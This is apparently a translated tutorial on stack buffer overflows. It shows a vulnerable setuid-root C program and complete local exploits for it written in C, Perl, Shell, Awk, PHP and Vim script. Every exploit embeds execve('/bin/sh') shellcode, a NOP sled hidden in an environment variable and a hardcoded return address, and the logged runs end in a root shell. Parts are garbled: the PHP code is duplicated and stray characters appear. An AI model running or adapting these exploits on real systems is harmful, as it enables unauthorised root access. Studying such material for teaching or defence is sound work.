Overflow exploits are not only compiled by C. Instead, they can be compiled by almost any programming language. The examples in this article are tested on Linux and demonstrated by overflow exploits compiled by C, Perl, Shell and Awk. The reason for this choice is that almost all these languages are bundled with Unix (except for C in commercial Unix systems).
In the following examples accurate location is implemented basically by placeing SHELLCODE to environment variables.
<1> vul.c that is vulnerable to overflow
[cloud@test]$ id uid=505(cloud) gid=503(test) groups=503(test) [cloud@test]$ cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s\n",buff);
return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x 1 cloud test 11627 2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x 1 root test 11K 2月 24 10:14 vul
<2> C exploit ex.c
[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;
for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]='\0';
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=' ';
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++='A';
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;
}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵胯?胯?胯?胯
?胯?胯?胯?胯?梵胯??
buff : AA梵胯?胯?胯?胯?&#
33007;?胯?胯?胯胯?胯??buff : AAA&
#26805;胯?胯?胯?胯?胯?!
007;?胯?胯胯?胯??
buff : AAAA梵胯?胯?胯?胯?&
#33007;?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<3> perl exploit ex.pl
[cloud@test]$ cat ex.pl
#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA胯?胯?胯?胯?胯?胯?
胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?胯?胯?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<4> Shell exploit ex.sh
[cloud@test]$ cat ex.sh
#/bin/bash # Demo for exploit bof of "./vul" # Write by watercloud @ xfocus.org #ENV_LEN=`env |wc -c|tr -d ' '` SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"; AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096 for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8 export AGSHELL=$AG`echo -e $SH` for((i=0;i<4;i++)) ;do AA=$AA"A" if ./vul $AA`echo -e $AD` then break fi done #EOF [cloud@test]$ chmod a+x ex.sh [cloud@test]$ ./ex.sh buff : A胯?胯?胯?胯?胯?胯 ?胯?胯?胯?胯?胯?胯?胯?胯 ?胯?胯?胯?胯?胯?胯?./ex.sh: line 16: 5287 段错误 ./vul $AA`echo -e $AD` buff : AA胯?胯?胯?胯?胯?胯? 胯?胯?胯?胯?胯?胯?胯?胯? 胯?胯?胯?胯?胯?胯? sh-2.05b# id uid=0(root) gid=503(test) groups=503(test) sh-2.05b# exit exit
<5> awk exploit ex.awk
[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
BEGIN{
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";
for ( i=0;i<10;i++)
{
AG=AG""AG;
}
AG=AG""AG""AG #3096
for(i=0;i<20;i++)
{
AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
}
AA="AA"
for(i=0;i<4;i++)
{
AA=AA"A"
system("./vul "AA""AD" "AG""SH)
}
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA梵胯?胯?胯?胯?胯
?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?胯?胯?胯?胯??buff : AAAA梵
;胯?胯?胯?胯?胯?胯?胯?&
#33007;?胯?胯?胯?胯?胯?胯?胯?&#
33007;?胯?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#
<6> PHP exploit
[cloud@MagicLinux tmp]$ id uid=502(cloud) gid=502(cloud) groups=502(cloud) [cloud@MagicLinux tmp]$ ls -l vul -rwsr-xr-x 1 root root 4895 2月 26 20:57 vul [cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH=”1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096
$SH=”1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096
for($i=0;$i<20;$i++) {
$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null id >&2 uid=0(root) gid=502(cloud) groups=502(cloud) exit [cloud@MagicLinux tmp]$
<7> Vim extension script exploit
Even extension programming script of vim compiler can be used to write an overflow exploit.
[cloud@MagicLinux tmp]$ id uid=502(cloud) gid=502(cloud) groups=502(cloud) [cloud@MagicLinux tmp]$ cat ex.vim let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80" let AG="AA" let i=0 while(i<10) let AG=AG.AG let i=i+1 endwhile let AG=AG.AG.AG "len of AG is 3096 let AD="" let i=0 while(i<20) let AD=AD."\xff\xbf\xe8\xf3" "ADDR:0xbffff3e8 let i=i+1 endwhile let AA="" let i=0 while(i<4) let AA=AA."A" execute "!./vul ". AA . AD . AG . SH let i=i+1 endwhile [cloud@MagicLinux tmp]$ ls -l vul -rwsr-xr-x 1 root root 4895 2月 26 20:57 vul [cloud@MagicLinux tmp]$ vim -eS ex.vim Xlib: connection to ":0.0" refused by server Xlib: No protocol specified buff : A�胯�胯�胯�胯 �胯�胯�胯�胯� 胯�胯�胯�胯�胯 �胯�胯�胯�胯� 胯�胯�胯 驛 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA… …………………………… …………………………… … …… AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮 PP[YZ4型�jX橰hn/shh//biT[RSTY蛝sh-2.05b# id uid=0(root) gid=502(cloud) groups=502(cloud) sh-2.05b#
<8> ......
<9> Summary
The basis of overflow is address location, usage of data structure such as heap, and architechure the organization/OS is running on. Knowing these we can understand that overflow exploit itself is unrelated to programming language.
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